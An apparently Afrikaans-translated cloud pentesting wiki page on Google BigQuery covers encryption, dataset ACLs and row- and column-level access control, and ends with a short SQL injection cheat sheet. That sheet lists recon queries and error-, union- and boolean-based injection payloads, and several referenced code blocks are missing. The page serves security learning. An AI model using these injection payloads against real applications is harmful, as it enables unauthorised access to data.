GCP - Bigquery Enum
Basiese Inligting
Google Cloud BigQuery is 'n ten volle bestuurde, serverlose ondernemingsdatawarehouse, wat moontlikhede bied vir ontleding oor petabytes van data, en sodoende groot-skaalse datastelle doeltreffend hanteer. As 'n Platform as a Service (PaaS) bied dit gebruikers infrastruktuur en gereedskap om data bestuur te vergemaklik sonder die noodsaak vir handmatige toesig.
Dit ondersteun navrae met behulp van ANSI SQL. Die hoof-entiteite is datasets wat tables bevat wat SQL data bevat.
Versleuteling
Standaard word 'n Google-bestuurde versleutelingssleutel gebruik, alhoewel dit moontlik is om 'n Klant-bestuurde versleutelingssleutel (CMEK) te konfigureer. Dit is moontlik om die versleutelingssleutel per dataset en per tabel binne 'n dataset aan te dui.
Verval
Dit is moontlik om 'n vervaltyd in die dataset aan te dui sodat enige nuwe tabel wat in hierdie dataset geskep word, outomaties verwyder sal word die gespesifiseerde aantal dae na skepping.
Eksterne Bronne
Bigquery is diep geïntegreer met ander Google-diens. Dit is moontlik om data te laai vanaf emmers, pub/sub, Google Drive, RDS-databasisse...
Dataset ACL's
Wanneer 'n dataset geskep word, word ACL's geheg om toegang daartoe te gee. Standaard word Eienaar-privileges gegee oor die gebruiker wat die dataset geskep het en dan Eienaar aan die groep projectEienaars (Eienaars van die projek), Skrywer aan die groep projectSkrywers, en Leser aan die groep projectLesers:
Tabelrye Beheer Toegang
Dit is moontlik om die rye te beheer wat 'n hoofpersoon in 'n tabel kan toegang met ry-toegangbeleide. Hierdie word binne die tabel gedefinieer deur gebruik te maak van DDL. Die toegangsbeleid definieer 'n filter en slegs die rye wat ooreenstem met daardie filter sal toeganklik wees vir die aangeduide hoofpersone.
Kolomtoegangsbeheer
Om data-toegang op kolomvlak te beperk:
Definieer 'n taksonomie en beleidstags. Skep en bestuur 'n taksonomie en beleidstags vir jou data. https://console.cloud.google.com/bigquery/policy-tags
Opsioneel: Ken die Data Catalog Fynkorrelasieleser rol toe aan een of meer hoofde op een of meer van die beleidstags wat jy geskep het.
Ken beleidstags toe aan jou BigQuery-kolomme. In BigQuery, gebruik skema-annotasies om 'n beleidstag aan elke kolom toe te ken waar jy toegang wil beperk.
Handhaaf toegangsbeheer op die taksonomie. Die handhawing van toegangsbeheer veroorsaak dat die toegangsbeperkings wat vir al die beleidstags in die taksonomie gedefinieer is, toegepas word.
Bestuur toegang op die beleidstags. Gebruik Identity and Access Management (IAM) beleide om toegang tot elke beleidstag te beperk. Die beleid is van krag vir elke kolom wat aan die beleidstag behoort.
Wanneer 'n gebruiker probeer om kolomdata tydens die aanvraagtyd te benader, kontroleer BigQuery die kolombeleidstag en sy beleid om te sien of die gebruiker gemagtig is om die data te benader.
As opsomming, om die toegang tot sekere kolomme vir sekere gebruikers te beperk, kan jy 'n tag by die kolom in die skema voeg en die toegang van die gebruikers tot die tag beperk deur toegangsbeheer op die taksonomie van die tag af te dwing.
Om toegangsbeheer op die taksonomie af te dwing, moet die diens geaktiveer word:
Dit is moontlik om die tages van kolomme te sien met:
Opsomming
BigQuery SQL Injection
Vir verdere inligting kan jy die blogpos besoek: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hier sal net 'n paar besonderhede gegee word.
Opmerkings:
select 1#from here it is not working
select 1/*between those it is not working*/
Maar net die aanvanklike een sal nie werk nieselect 1--from here it is not working
Kry inligting oor die omgewing soos:
Huidige gebruiker:
select session_user()
Projek id:
select @@project_id
Kombineer rye:
Alle tabelname:
string_agg(table_name, ', ')
Kry datasets, tabelle en kolom name:
Projek en dataset naam:
Kolom en tabel name van alle tabelle van die datastel:
Ander datastelle in dieselfde projek:
SQL Injection tipes:
Foutgebaseerd - omzetting:
select CAST(@@project_id AS INT64)
Foutgebaseerd - deling deur nul:
' OF if(1/(length((select('a')))-1)=1,true,false) OF '
Uniegebaseerd (jy moet ALLES in bigquery gebruik):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Booleaangebaseerd:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potensiële tydgebaseerd - Gebruik van openbare datasets voorbeeld:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentasie:
Scripting verklarings: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Voorregskaping & Post Exploitation
GCP - BigQuery PrivescVolharding
GCP - BigQuery PersistenceVerwysings
Last updated